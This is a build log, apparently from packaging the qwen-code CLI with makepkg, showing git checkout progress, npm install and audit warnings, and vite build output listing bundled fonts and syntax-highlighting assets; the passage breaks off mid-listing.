Updating files: 91% (7535/8280)
Updating files: 92% (7618/8280)
Updating files: 93% (7701/8280)
Updating files: 94% (7784/8280)
Updating files: 95% (7866/8280)
Updating files: 96% (7949/8280)
Updating files: 97% (8032/8280)
Updating files: 98% (8115/8280)
Updating files: 99% (8198/8280)
Updating files: 100% (8280/8280)
Updating files: 100% (8280/8280), done.
Updating files: 60% (4582/7593)
Updating files: 61% (4632/7593)
Updating files: 62% (4708/7593)
Updating files: 63% (4784/7593)
Updating files: 64% (4860/7593)
Updating files: 65% (4936/7593)
Updating files: 66% (5012/7593)
Updating files: 67% (5088/7593)
Updating files: 68% (5164/7593)
Updating files: 69% (5240/7593)
Updating files: 70% (5316/7593)
Updating files: 71% (5392/7593)
Updating files: 72% (5467/7593)
Updating files: 73% (5543/7593)
Updating files: 74% (5619/7593)
Updating files: 75% (5695/7593)
Updating files: 76% (5771/7593)
Updating files: 77% (5847/7593)
Updating files: 78% (5923/7593)
Updating files: 79% (5999/7593)
Updating files: 80% (6075/7593)
Updating files: 81% (6151/7593)
Updating files: 82% (6227/7593)
Updating files: 83% (6303/7593)
Updating files: 84% (6379/7593)
Updating files: 85% (6455/7593)
Updating files: 86% (6530/7593)
Updating files: 87% (6606/7593)
Updating files: 88% (6682/7593)
Updating files: 89% (6758/7593)
Updating files: 90% (6834/7593)
Updating files: 91% (6910/7593)
Updating files: 92% (6986/7593)
Updating files: 93% (7062/7593)
Updating files: 93% (7063/7593)
Updating files: 94% (7138/7593)
Updating files: 95% (7214/7593)
Updating files: 96% (7290/7593)
Updating files: 97% (7366/7593)
Updating files: 98% (7442/7593)
Updating files: 99% (7518/7593)
Updating files: 100% (7593/7593)
Updating files: 100% (7593/7593), done.
Switched to a new branch 'makepkg'
[1m[32m==>[m[1m Starting prepare()...[m
npm warn using --force Recommended protections disabled.
npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported
npm warn deprecated rimraf@3.0.2: Rimraf versions prior to v4 are no longer supported
npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported
npm warn deprecated prebuild-install@7.1.3: No longer maintained. Please contact the author of the relevant native addon; alternatives are available.
npm warn deprecated inflight@1.0.6: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.
npm warn deprecated node-domexception@1.0.0: Use your platform's native DOMException instead
npm warn deprecated @humanwhocodes/object-schema@2.0.3: Use @eslint/object-schema instead
npm warn deprecated @humanwhocodes/config-array@0.13.0: Use @eslint/config-array instead
npm warn deprecated eslint@8.57.1: This version is no longer supported. Please see https://eslint.org/version-support for other options.
added 2039 packages, and audited 2069 packages in 7m
574 packages are looking for funding
run `npm fund` for details
74 vulnerabilities (3 low, 41 moderate, 27 high, 3 critical)
To address issues that do not require attention, run:
npm audit fix
To address all issues (including breaking changes), run:
npm audit fix --force
Run `npm audit` for details.
patch-package 8.0.1
Applying patches...
ink@7.0.3 ✔
[1m[32m==>[m[1m Starting build()...[m
npm notice run @qwen-code/qwen-code@0.21.5 build
npm notice run cross-env NODE_OPTIONS="--max-old-space-size=3072" node scripts/build.js
npm notice run @qwen-code/qwen-code@0.21.5 generate
npm notice run node scripts/generate-git-commit-info.js
npm notice run @qwen-code/qwen-code-core@0.21.5 build
npm notice run node ../../scripts/build_package.js
Successfully copied files.
npm notice run @qwen-code/web-templates@0.21.5 build
npm notice run node build.mjs && tsc --build --clean && tsc
Building web-templates...
Building insight assets with Vite...
vite v5.4.21 building for production...
transforming...
Browserslist: browsers data (caniuse-lite) is 10 months old. Please run:
npx update-browserslist-db@latest
Why you should do it regularly: https://github.com/browserslist/update-db#readme
✓ 8 modules transformed.
rendering chunks...
computing gzip size...
dist/main.css 17.77 kB │ gzip: 4.28 kB
dist/main.js 32.80 kB │ gzip: 9.04 kB
✓ built in 5.27s
Reading generated files...
Successfully generated /build/qwen-code/src/qwen-code/packages/web-templates/src/generated/insightTemplate.ts
Successfully built all web-templates.
npm notice run @qwen-code/channel-base@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-telegram@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-weixin@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-dingtalk@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-wecom@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-feishu@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-qqbot@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-github@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/channel-plugin-example@0.21.5 build
npm notice run tsc --build
npm notice run @qwen-code/audio-capture@0.21.5 build:ts
npm notice run tsc --build
npm notice run @qwen-code/acp-bridge@0.21.5 build
npm notice run node ../../scripts/build_package.js
Successfully copied files.
npm notice run @qwen-code/sdk@0.1.8 build
npm notice run node scripts/build.js
npm notice run @qwen-code/qwen-code@0.21.5 npx
npm notice run 'dts-bundle-generator' --project tsconfig.build.json -o dist/index.d.ts src/index.ts
Compiling input files...
Processing src/index.ts
Writing src/index.ts -> dist/index.d.ts
Checking generated files...
[1;33mCompiler option "skipLibCheck" is disabled to properly check generated output[0m
Done in 318.62s
npm notice run @qwen-code/qwen-code@0.21.5 npx
npm notice run 'dts-bundle-generator' --project tsconfig.build.json -o dist/daemon/transcript.d.ts src/daemon/transcript.ts
Compiling input files...
Processing src/daemon/transcript.ts
Writing src/daemon/transcript.ts -> dist/daemon/transcript.d.ts
Checking generated files...
[1;33mCompiler option "skipLibCheck" is disabled to properly check generated output[0m
Done in 48.49s
npm notice run @qwen-code/qwen-code@0.21.5 build
npm notice run node ../../scripts/build_package.js
Successfully copied files.
Generated settings JSON Schema at: /build/qwen-code/src/qwen-code/packages/vscode-ide-companion/schemas/settings.schema.json
(node:4702) [DEP0205] DeprecationWarning: `module.register()` is deprecated. Use `module.registerHooks()` instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
npm notice run @qwen-code/webui@0.21.5 build
npm notice run vite build
vite v5.4.21 building for production...
transforming...
Browserslist: browsers data (caniuse-lite) is 10 months old. Please run:
npx update-browserslist-db@latest
Why you should do it regularly: https://github.com/browserslist/update-db#readme
✓ 199 modules transformed.
rendering chunks...
[vite:dts] Start generate declaration files...
computing gzip size...
dist/styles.css 83.64 kB │ gzip: 15.59 kB
dist/toolNames-kewwpc1v.js 0.30 kB │ gzip: 0.23 kB │ map: 1.00 kB
dist/daemon-react-sdk.js 229.66 kB │ gzip: 40.47 kB │ map: 436.38 kB
dist/index.js 394.06 kB │ gzip: 98.79 kB │ map: 844.74 kB
[vite:dts] Start rollup declaration files...
Analysis will use the bundled TypeScript version 5.8.2
Analysis will use the bundled TypeScript version 5.8.2
[vite:dts] Declaration files built in 149246ms.
dist/styles.css 83.64 kB │ gzip: 15.59 kB
dist/toolNames-C9pS8yq9.cjs 0.33 kB │ gzip: 0.24 kB │ map: 1.00 kB
dist/daemon-react-sdk.cjs 231.12 kB │ gzip: 40.51 kB │ map: 438.11 kB
dist/index.cjs 403.51 kB │ gzip: 99.50 kB │ map: 849.86 kB
✓ built in 2m 57s
npm notice run @qwen-code/web-shell@0.21.5 build
npm notice run vite build && vite build --config vite.lib.config.ts && tsc -p tsconfig.lib.json
vite v5.4.21 building for production...
(node:4829) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
transforming...
(node:4829) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
✓ 5475 modules transformed.
rendering chunks...
computing gzip size...
../dist/assets/KaTeX_Size3-Regular-CTq5MqoE.woff 4.42 kB
../dist/index.html 4.87 kB │ gzip: 2.32 kB
../dist/assets/KaTeX_Size4-Regular-Dl5lxZxV.woff2 4.93 kB
../dist/assets/KaTeX_Size2-Regular-Dy4dx90m.woff2 5.21 kB
../dist/assets/KaTeX_Size1-Regular-mCD8mA8B.woff2 5.47 kB
../dist/assets/KaTeX_Size4-Regular-BF-4gkZK.woff 5.98 kB
../dist/assets/KaTeX_Size2-Regular-oD1tc_U0.woff 6.19 kB
../dist/assets/KaTeX_Size1-Regular-C195tn64.woff 6.50 kB
../dist/assets/KaTeX_Caligraphic-Regular-Di6jR-x-.woff2 6.91 kB
../dist/assets/KaTeX_Caligraphic-Bold-Dq_IR9rO.woff2 6.91 kB
../dist/assets/KaTeX_Size3-Regular-DgpXs0kz.ttf 7.59 kB
../dist/assets/KaTeX_Caligraphic-Regular-CTRA-rTL.woff 7.66 kB
../dist/assets/KaTeX_Caligraphic-Bold-BEiXGLvX.woff 7.72 kB
../dist/assets/default-aEtf0G7-.svg 8.90 kB │ gzip: 2.64 kB
../dist/assets/KaTeX_Script-Regular-D3wIWfF6.woff2 9.64 kB
../dist/assets/KaTeX_SansSerif-Regular-DDBCnlJ7.woff2 10.34 kB
../dist/assets/KaTeX_Size4-Regular-DWFBv043.ttf 10.36 kB
../dist/assets/KaTeX_Script-Regular-D5yQViql.woff 10.59 kB
../dist/assets/KaTeX_Fraktur-Regular-CTYiF6lA.woff2 11.32 kB
../dist/assets/KaTeX_Fraktur-Bold-CL6g_b3V.woff2 11.35 kB
../dist/assets/KaTeX_Size2-Regular-B7gKUWhC.ttf 11.51 kB
../dist/assets/queue-DWpnpFgW.svg 11.56 kB │ gzip: 2.42 kB
../dist/assets/KaTeX_SansSerif-Italic-C3H0VqGB.woff2 12.03 kB
../dist/assets/KaTeX_SansSerif-Bold-D1sUS0GD.woff2 12.22 kB
../dist/assets/KaTeX_Size1-Regular-Dbsnue_I.ttf 12.23 kB
../dist/assets/KaTeX_SansSerif-Regular-CS6fqUqJ.woff 12.32 kB
../dist/assets/KaTeX_Caligraphic-Regular-wX97UBjC.ttf 12.34 kB
../dist/assets/KaTeX_Caligraphic-Bold-ATXxdsX0.ttf 12.37 kB
../dist/assets/KaTeX_Fraktur-Regular-Dxdc4cR9.woff 13.21 kB
../dist/assets/KaTeX_Fraktur-Bold-BsDP51OF.woff 13.30 kB
../dist/assets/KaTeX_Typewriter-Regular-CO6r4hn1.woff2 13.57 kB
../dist/assets/KaTeX_SansSerif-Italic-DN2j7dab.woff 14.11 kB
../dist/assets/KaTeX_SansSerif-Bold-DbIhKOiC.woff 14.41 kB
../dist/assets/KaTeX_Typewriter-Regular-C0xS9mPB.woff 16.03 kB
../dist/assets/KaTeX_Math-BoldItalic-CZnvNsCZ.woff2 16.40 kB
../dist/assets/KaTeX_Math-Italic-t53AETM-.woff2 16.44 kB
../dist/assets/KaTeX_Script-Regular-C5JkGWo-.ttf 16.65 kB
../dist/assets/KaTeX_Main-BoldItalic-DxDJ3AOS.woff2 16.78 kB
../dist/assets/KaTeX_Main-Italic-NWA7e6Wa.woff2 16.99 kB
../dist/assets/KaTeX_Math-BoldItalic-iY-2wyZ7.woff 18.67 kB
../dist/assets/KaTeX_Math-Italic-DA0__PXp.woff 18.75 kB
../dist/assets/KaTeX_Main-BoldItalic-SpSLRI95.woff 19.41 kB
../dist/assets/KaTeX_SansSerif-Regular-BNo7hRIc.ttf 19.44 kB
../dist/assets/KaTeX_Fraktur-Regular-CB_wures.ttf 19.57 kB
../dist/assets/KaTeX_Fraktur-Bold-BdnERNNW.ttf 19.58 kB
../dist/assets/KaTeX_Main-Italic-BMLOBm91.woff 19.68 kB
../dist/assets/KaTeX_SansSerif-Italic-YYjJ1zSn.ttf 22.36 kB
../dist/assets/KaTeX_SansSerif-Bold-CFMepnvq.ttf 24.50 kB
../dist/assets/KaTeX_Main-Bold-Cx986IdX.woff2 25.32 kB
../dist/assets/KaTeX_Main-Regular-B22Nviop.woff2 26.27 kB
../dist/assets/KaTeX_Typewriter-Regular-D3Ib7_Hf.ttf 27.56 kB
../dist/assets/KaTeX_AMS-Regular-BQhdFMY1.woff2 28.08 kB
../dist/assets/KaTeX_Main-Bold-Jm3AIy58.woff 29.91 kB
../dist/assets/KaTeX_Main-Regular-Dr94JaBh.woff 30.77 kB
../dist/assets/KaTeX_Math-BoldItalic-B3XSjfu4.ttf 31.20 kB
../dist/assets/KaTeX_Math-Italic-flOr_0UB.ttf 31.31 kB
../dist/assets/KaTeX_Main-BoldItalic-DzxPMmG6.ttf 32.97 kB
../dist/assets/KaTeX_AMS-Regular-DMm9YOAa.woff 33.52 kB
../dist/assets/KaTeX_Main-Italic-3WenGoN9.ttf 33.58 kB
../dist/assets/KaTeX_Main-Bold-waoOVXN0.ttf 51.34 kB
../dist/assets/KaTeX_Main-Regular-ypZvNtVU.ttf 53.58 kB
../dist/assets/KaTeX_AMS-Regular-DRggAlZN.ttf 63.63 kB
../dist/assets/index-CaucmEO_.css 450.74 kB │ gzip: 78.18 kB
../dist/assets/channel-Bd9wOnaA.js 0.11 kB │ gzip: 0.13 kB
../dist/assets/init-Gi6I4Gst.js 0.15 kB │ gzip: 0.13 kB
../dist/assets/chunk-QZHKN3VN-CUNDZ7im.js 0.19 kB │ gzip: 0.16 kB
../dist/assets/chunk-55IACEB6-DugUgM6s.js 0.24 kB │ gzip: 0.21 kB
../dist/assets/chunk-4BX2VUAB-Czkq8UZU.js 0.30 kB │ gzip: 0.20 kB
../dist/assets/chunk-FMBD7UC4--Amcse-j.js 0.37 kB │ gzip: 0.27 kB
../dist/assets/stateDiagram-v2-BHNVJYJU-BDc8asKD.js 0.39 kB │ gzip: 0.29 kB
../dist/assets/classDiagram-4FO5ZUOK-XhCT8FE3.js 0.47 kB │ gzip: 0.32 kB
../dist/assets/classDiagram-v2-Q7XG4LA2-XhCT8FE3.js 0.47 kB │ gzip: 0.32 kB
../dist/assets/chunk-2J33WTMH-DR5yHxr0.js 0.53 kB │ gzip: 0.37 kB
../dist/assets/codeowners-Bp6g37R7.js 0.55 kB │ gzip: 0.32 kB
../dist/assets/infoDiagram-5YYISTIA-Cn3T83MA.js 0.59 kB │ gzip: 0.41 kB
../dist/assets/shellsession-C_rIy8kc.js 0.72 kB │ gzip: 0.43 kB
../dist/assets/tsv-B_m7g4N7.js 0.74 kB │ gzip: 0.34 kB
../dist/assets/html-derivative-CSfWNPLT.js 0.97 kB │ gzip: 0.53 kB
../dist/assets/git-rebase-B-v9cOL2.js 0.98 kB │ gzip: 0.44 kB
../dist/assets/qmldir-C8lEn-DE.js 1.00 kB │ gzip: 0.45 kB
../dist/assets/fortran-fixed-form-TqA4NnZg.js 1.11 kB │ gzip: 0.54 kB
../dist/assets/ordinal-Cboi1Yqb.js 1.19 kB │ gzip: 0.57 kB
../dist/assets/csv-B0qRVHPH.js 1.22 kB │ gzip: 0.37 kB
../dist/assets/xsl-Dd0NUgwM.js 1.39 kB │ gzip: 0.52 kB
../dist/assets/sparql-bYkjHRlG.js 1.51 kB │ gzip: 0.83 kB
../dist/assets/ini-BjABl1g7.js 1.53 kB │ gzip: 0.50 kB
../dist/assets/git-commit-i4q6IMui.js 1.55 kB │ gzip: 0.67 kB
../dist/assets/dotenv-BjQB5zDj.js 1.70 kB │ gzip: 0.63 kB
../dist/assets/wenyan-7A4Fjokl.js 1.71 kB │ gzip: 1.08 kB
../dist/assets/docker-COcR7UxN.js 1.77 kB │ gzip: 0.60 kB
../dist/assets/hxml-TIA70rKU.js 1.83 kB │ gzip: 0.89 kB
../dist/assets/chunk-ND2GUHAM-ajaEYAC8.js 1.86 kB │ gzip: 0.82 kB
../dist/assets/desktop-DEIpsLCJ.js 2.03 kB │ gzip: 0.79 kB
../dist/assets/edge-D5gP-w-T.js 2.36 kB │ gzip: 0.70 kB
../dist/assets/reg-5LuOXUq_.js 2.37 kB │ gzip: 0.71 kB
../dist/assets/berry-3xVqZejG.js 2.45 kB │ gzip: 0.79 kB
../dist/assets/erb-BYTLMnw6.js 2.61 kB │ gzip: 0.84 kB
../dist/assets/diff-BgYniUM_.js 2.64 kB │ gzip: 0.74 kB
../dist/assets/gleam-B430Bg39.js 2.69 kB │ gzip: 0.85 kB
../dist/assets/diagram-5GNKFQAL-BsgOICzM.js 2.75 kB │ gzip: 1.37 kB
../dist/assets/hy-BMj5Y0dO.js 2.82 kB │ gzip: 1.19 kB
../dist/assets/json-BQoSv7ci.js 2.92 kB │ gzip: 0.81 kB
../dist/assets/cairo--RitsXJZ.js 2.95 kB │ gzip: 0.81 kB
../dist/assets/log-Cc5clBb7.js 2.97 kB │ gzip: 0.88 kB
../dist/assets/jssm-P4WzXJd0.js 2.97 kB │ gzip: 0.70 kB
../dist/assets/jsonl-DREVFZK8.js 3.10 kB │ gzip: 0.82 kB
../dist/assets/jsonc-TU54ms6u.js 3.20 kB │ gzip: 0.83 kB
../dist/assets/logo-IuBKFhSY.js 3.21 kB │ gzip: 1.49 kB
../dist/assets/genie-ajMbGru0.js 3.38 kB │ gzip: 1.21 kB
../dist/assets/po-BFLt1xDp.js 3.38 kB │ gzip: 0.99 kB
../dist/assets/tasl-CQjiPCtT.js 3.39 kB │ gzip: 0.88 kB
../dist/assets/vala-BFOHcciG.js 3.40 kB │ gzip: 1.19 kB
../dist/assets/mipsasm-BC5c_5Pe.js 3.41 kB │ gzip: 1.28 kB
../dist/assets/arc-Dpg66jw7.js 3.42 kB │ gzip: 1.45 kB
../dist/assets/rel-DJlmqQ1C.js 3.43 kB │ gzip: 1.10 kB
../dist/assets/json5-w8dY5SsB.js 3.54 kB │ gzip: 0.94 kB
../dist/assets/ssh-config-BknIz3MU.js 3.61 kB │ gzip: 1.59 kB
../dist/assets/fluent-Dayu4EKP.js 3.62 kB │ gzip: 0.89 kB
../dist/assets/jsonnet-BfivnA6A.js 3.63 kB │ gzip: 1.07 kB
../dist/assets/narrat-DLbgOhZU.js 3.69 kB │ gzip: 1.12 kB
../dist/assets/turtle-BMR_PYu6.js 3.71 kB │ gzip: 0.98 kB
../dist/assets/splunk-Cf8iN4DR.js 3.92 kB │ gzip: 1.67 kB
../dist/assets/glsl-DBO2IWDn.js 3.94 kB │ gzip: 1.45 kB
../dist/assets/nextflow-B0XVJmRM.js 3.96 kB │ gzip: 1.09 kB
../dist/assets/sdbl-BLhTXw86.js 4.14 kB │ gzip: 2.08 kB
../dist/assets/pascal-JqZropPD.js 4.18 kB │ gzip: 1.69 kB
../dist/assets/smalltalk-DkLiglaE.js 4.20 kB │ gzip: 1.25 kB
../dist/assets/diagram-LMA3HP47-temLf1x7.js 4.24 kB │ gzip: 1.84 kB
../dist/assets/lean-XBlWyCtg.js 4.29 kB │ gzip: 1.33 kB
../dist/assets/zenscript-HnGAYVZD.js 4.40 kB │ gzip: 1.42 kB
../dist/assets/bicep-DHo0CJ0O.js 4.45 kB │ gzip: 1.08 kB
../dist/assets/http-FRrOvY1W.js 4.65 kB │ gzip: 1.14 kB
../dist/assets/polar-DKykz6zU.js 4.68 kB │ gzip: 1.17 kB
../dist/assets/defaultLocale-DX6XiGOO.js 4.69 kB │ gzip: 2.17 kB
../dist/assets/fennel-bCA53EVm.js 4.82 kB │ gzip: 1.57 kB
../dist/assets/tcl-DQ1-QYvQ.js 5.02 kB │ gzip: 1.68 kB
../dist/assets/bibtex-xW4inM5L.js 5.08 kB │ gzip: 0.81 kB
../dist/assets/pieDiagram-4H26LBE5-CG-oz8V3.js 5.32 kB │ gzip: 2.36 kB
../dist/assets/fish-w-ucz2PV.js 5.39 kB │ gzip: 1.69 kB
../dist/assets/xml-e3z08dGr.js 5.41 kB │ gzip: 1.22 kB
../dist/assets/qml-D8XfuvdV.js 5.42 kB │ gzip: 1.39 kB
../dist/assets/zig-BVz_zdnA.js 5.46 kB │ gzip: 1.59 kB
../dist/assets/gdresource-BHYsBjWJ.js 5.48 kB │ gzip: 1.37 kB
../dist/assets/awk-eg146-Ew.js 5.49 kB │ gzip: 1.38 kB
../dist/assets/dax-ClGRhx96.js 5.53 kB │ gzip: 2.25 kB
../dist/assets/linear-Co-2_37d.js 5.66 kB │ gzip: 2.31 kB
../dist/assets/jinja-DGy0s7-h.js 5.72 kB │ gzip: 1.42 kB
../dist/assets/powerquery-CSHBycmS.js 5.93 kB │ gzip: 1.52 kB
../dist/assets/verilog-CJaU5se_.js 5.94 kB │ gzip: 1.90 kB
../dist/assets/diagram-2AECGRRQ-B2ZXxoab.js 5.97 kB │ gzip: 2.50 kB
../dist/assets/coq-Dsg_Bt_b.js 5.99 kB │ gzip: 2.03 kB
../dist/assets/vb-CdO5JTpU.js 6.26 kB │ gzip: 2.35 kB
../dist/assets/red-bN70gL4F.js 6.26 kB │ gzip: 1.60 kB
../dist/assets/shaderlab-B7qAK45m.js 6.27 kB │ gzip: 2.10 kB
../dist/assets/min-dark-CafNBF8u.js 6.29 kB │ gzip: 1.72 kB
../dist/assets/gdshader-SKMF96pI.js 6.37 kB │ gzip: 1.75 kB
../dist/assets/prisma-B48N-Iqd.js 6.39 kB │ gzip: 1.40 kB
../dist/assets/solarized-light-L9t79GZl.js 6.48 kB │ gzip: 1.74 kB
../dist/assets/wgsl-CB0Krxn9.js 6.49 kB │ gzip: 1.69 kB
../dist/assets/postcss-B3ZDOciz.js 6.52 kB │ gzip: 1.93 kB
../dist/assets/toml-CB2ApiWb.js 6.53 kB │ gzip: 1.30 kB
../dist/assets/proto-zocC4JxJ.js 6.57 kB │ gzip: 1.42 kB
../dist/assets/talonscript-C1XDQQGZ.js 6.71 kB │ gzip: 1.47 kB
../dist/assets/cypher-m2LEI-9-.js 6.81 kB │ gzip: 1.83 kB
../dist/assets/solarized-dark-DXbdFlpD.js 6.85 kB │ gzip: 1.81 kB
../dist/assets/soy-C-lX7w71.js 6.95 kB │ gzip: 1.67 kB
../dist/assets/min-light-CTRr51gU.js 6.97 kB │ gzip: 1.90 kB
../dist/assets/clojure-DxSadP1t.js 7.08 kB │ gzip: 1.48 kB
../dist/assets/ara-7O62HKoU.js 7.25 kB │ gzip: 2.11 kB
../dist/assets/hlsl-ifBTmRxC.js 7.61 kB │ gzip: 2.24 kB
../dist/assets/riscv-QhoSD0DR.js 7.70 kB │ gzip: 2.21 kB
../dist/assets/qss-DhMKtDLN.js 7.82 kB │ gzip: 2.62 kB
../dist/assets/monokai-D4h5O-jR.js 7.88 kB │ gzip: 1.92 kB
../dist/assets/dart-B9wLZaAG.js 7.89 kB │ gzip: 1.93 kB
../dist/assets/systemd-CUnW07Te.js 8.00 kB │ gzip: 2.56 kB
../dist/assets/regexp-DWJ3fJO_.js 8.07 kB │ gzip: 1.46 kB
../dist/assets/haml-B2EZWmdv.js 8.49 kB │ gzip: 1.87 kB
../dist/assets/typst-BVUVsWT6.js 8.55 kB │ gzip: 1.70 kB
../dist/assets/plsql-LKU2TuZ1.js 8.57 kB │ gzip: 3.03 kB
../dist/assets/vue-html-xdeiXROB.js 8.70 kB │ gzip: 1.77 kB
../dist/assets/scheme-BJGe-b2p.js 8.72 kB │ gzip: 2.61 kB
../dist/assets/kotlin-B5lbUyaz.js 8.82 kB │ gzip: 2.14 kB
../dist/assets/andromeeda-C3khCPGq.js 8.86 kB │ gzip: 2.31 kB
../dist/assets/make-Bvotw-X0.js 9.01 kB │ gzip: 1.77 kB
../dist/assets/dark-plus-C3mMm8J8.js 9.10 kB │ gzip: 2.10 kB
../dist/assets/slack-dark-BthQWCQV.js 9.12 kB │ gzip: 1.98 kB
../dist/assets/ts-tags-CipyTH0X.js 9.18 kB │ gzip: 1.24 kB
../dist/assets/plastic-3e1v2bzS.js 9.30 kB │ gzip: 1.99 kB
../dist/assets/tex-rYs2v40G.js 9.37 kB │ gzip: 2.97 kB
../dist/assets/sass-BJ4Li9vH.js 9.41 kB │ gzip: 2.50 kB
../dist/assets/slack-ochin-DqwNpetd.js 9.43 kB │ gzip: 2.11 kB
../dist/assets/jison-BqZprYcd.js 9.72 kB │ gzip: 1.86 kB
../dist/assets/sas-BmTFh92c.js 9.79 kB │ gzip: 4.03 kB
../dist/assets/light-plus-B7mTdjB0.js 9.94 kB │ gzip: 2.29 kB
../dist/assets/gherkin--30QC5Em.js 10.12 kB │ gzip: 5.02 kB
../dist/assets/stateDiagram-AJRCARHV-CI5clUEc.js 10.36 kB │ gzip: 3.62 kB
../dist/assets/cmake-DbXoA79R.js 10.50 kB │ gzip: 3.57 kB
../dist/assets/dream-maker-C-nORZOA.js 10.61 kB │ gzip: 2.30 kB
../dist/assets/raku-B1bQXN8T.js 10.61 kB │ gzip: 2.99 kB
../dist/assets/rst-4NLicBqY.js 10.65 kB │ gzip: 2.42 kB
../dist/assets/beancount-BwXTMy5W.js 10.76 kB │ gzip: 1.52 kB
../dist/assets/yaml-CVw76BM1.js 10.79 kB │ gzip: 2.29 kB
../dist/assets/diagram-KO2AKTUF-DTTjG6U-.js 10.82 kB │ gzip: 4.18 kB
../dist/assets/cadence-DNquZEk8.js 11.03 kB │ gzip: 2.32 kB
../dist/assets/github-light-DAi9KRSo.js 11.18 kB │ gzip: 2.52 kB
../dist/assets/elm-CmHSxxaM.js 11.29 kB │ gzip: 2.21 kB
../dist/assets/dagre-BM42HDAG-BuUdFk7Z.js 11.40 kB │ gzip: 4.21 kB
../dist/assets/github-dark-DHJKELXO.js 11.41 kB │ gzip: 2.56 kB
../dist/assets/prolog-BY-TUvya.js 11.44 kB │ gzip: 3.87 kB
../dist/assets/laserwave-DUszq2jm.js 11.50 kB │ gzip: 2.60 kB
../dist/assets/puppet-Cza_XSSt.js 11.75 kB │ gzip: 2.23 kB
../dist/assets/hcl-HzYwdGDm.js 11.97 kB │ gzip: 2.51 kB
../dist/assets/handlebars-BQGss363.js 12.27 kB │ gzip: 2.39 kB
../dist/assets/hjson-T-Tgc4AT.js 12.33 kB │ gzip: 1.68 kB
../dist/assets/vesper-BEBZ7ncR.js 12.66 kB │ gzip: 1.98 kB
../dist/assets/luau-Du5NY7AG.js 12.92 kB │ gzip: 3.12 kB
../dist/assets/bat-fje9CFhw.js 12.99 kB │ gzip: 3.25 kB
../dist/assets/apache-Dn00JSTd.js 13.21 kB │ gzip: 3.79 kB
../dist/assets/terraform-BbSNqyBO.js 13.38 kB │ gzip: 3.11 kB
../dist/assets/vitesse-light-CVO1_9PV.js 13.62 kB │ gzip: 3.06 kB
../dist/assets/aurora-x-D-2ljcwZ.js 13.66 kB │ gzip: 2.30 kB
../dist/assets/vitesse-black-Bkuqu6BP.js 13.68 kB │ gzip: 3.08 kB
../dist/assets/v-CAQ2eGtk.js 13.74 kB │ gzip: 2.85 kB
../dist/assets/vitesse-dark-D0r3Knsf.js 13.76 kB │ gzip: 3.08 kB
../dist/assets/synthwave-84-CbfX1IO0.js 14.04 kB │ gzip: 2.88 kB
../dist/assets/github-light-default-D7oLnXFd.js 14.16 kB │ gzip: 3.06 kB
../dist/assets/github-light-high-contrast-BfjtVDDH.js 14.28 kB │ gzip: 3.04 kB
../dist/assets/github-dark-dimmed-DH5Ifo-i.js 14.43 kB │ gzip: 3.14 kB
../dist/assets/github-dark-default-Cuk6v7N8.js 14.44 kB │ gzip: 3.14 kB
../dist/assets/clarity-BHOwM8T6.js 14.55 kB │ gzip: 2.48 kB
../dist/assets/actionscript-3-D_z4Izcz.js 14.56 kB │ gzip: 2.79 kB
../dist/assets/github-dark-high-contrast-E3gJ1_iC.js 14.60 kB │ gzip: 3.10 kB
../dist/assets/pug-CM9l7STV.js 14.89 kB │ gzip: 2.90 kB
../dist/assets/gnuplot-CM8KxXT1.js 14.91 kB │ gzip: 3.31 kB
../dist/assets/ayu-dark-Cv9koXgw.js 14.95 kB │ gzip: 3.09 kB
../dist/assets/nix-shcSOmrb.js 15.55 kB │ gzip: 2.36 kB
../dist/assets/lua-CvWAzNxB.js 15.62 kB │ gzip: 3.16 kB
../dist/assets/diagram-OG6HWLK6-CRFjScs2.js 15.92 kB │ gzip: 5.69 kB
../dist/assets/wasm-C6j12Q_x.js 15.93 kB │ gzip: 2.89 kB
../dist/assets/solidity-C1w2a3ep.js 16.23 kB │ gzip: 3.13 kB
../dist/assets/svelte-MSaWC3Je.js 16.89 kB │ gzip: 2.96 kB
../dist/assets/purescript-Bg-kzb6g.js 17.07 kB │ gzip: 2.64 kB
../dist/assets/kanagawa-wave-DWedfzmr.js 17.12 kB │ gzip: 2.93 kB
../dist/assets/kanagawa-lotus-CfQXZHmo.js 17.13 kB │ gzip: 2.94 kB
../dist/assets/kanagawa-dragon-CkXjmgJE.js 17.13 kB │ gzip: 2.95 kB
../dist/assets/liquid-D3W5UaiH.js 17.17 kB │ gzip: 3.08 kB
../dist/assets/cue-DtFQj3wx.js 17.35 kB │ gzip: 2.08 kB
../dist/assets/ishikawaDiagram-YF4QCWOH-ijFs7e25.js 17.56 kB │ gzip: 6.63 kB
../dist/assets/rust-Be6lgOlo.js 17.60 kB │ gzip: 3.37 kB
../dist/assets/angular-html-LfdN0zeE.js 17.66 kB │ gzip: 3.51 kB
../dist/assets/graphql-cDcHW_If.js 18.20 kB │ gzip: 2.65 kB
../dist/assets/elixir-CLiX3zqd.js 18.30 kB │ gzip: 3.22 kB
../dist/assets/material-theme-D5KoaKCx.js 18.62 kB │ gzip: 3.13 kB
../dist/assets/material-theme-darker-BfHTSMKl.js 18.63 kB │ gzip: 3.12 kB
../dist/assets/material-theme-ocean-CyktbL80.js 18.63 kB │ gzip: 3.15 kB
../dist/assets/material-theme-lighter-B0m2ddpp.js 18.63 kB │ gzip: 3.13 kB
../dist/assets/material-theme-palenight-Csfq5Kiy.js 18.64 kB │ gzip: 3.14 kB
../dist/assets/gdscript-DfxzS6Rs.js 18.65 kB │ gzip: 3.72 kB
../dist/assets/abap-DsBKuouk.js 18.82 kB │ gzip: 6.20 kB
../dist/assets/marko-z0MBrx5-.js 19.33 kB │ gzip: 3.21 kB
../dist/assets/groovy-DkBy-JyN.js 19.65 kB │ gzip: 3.77 kB
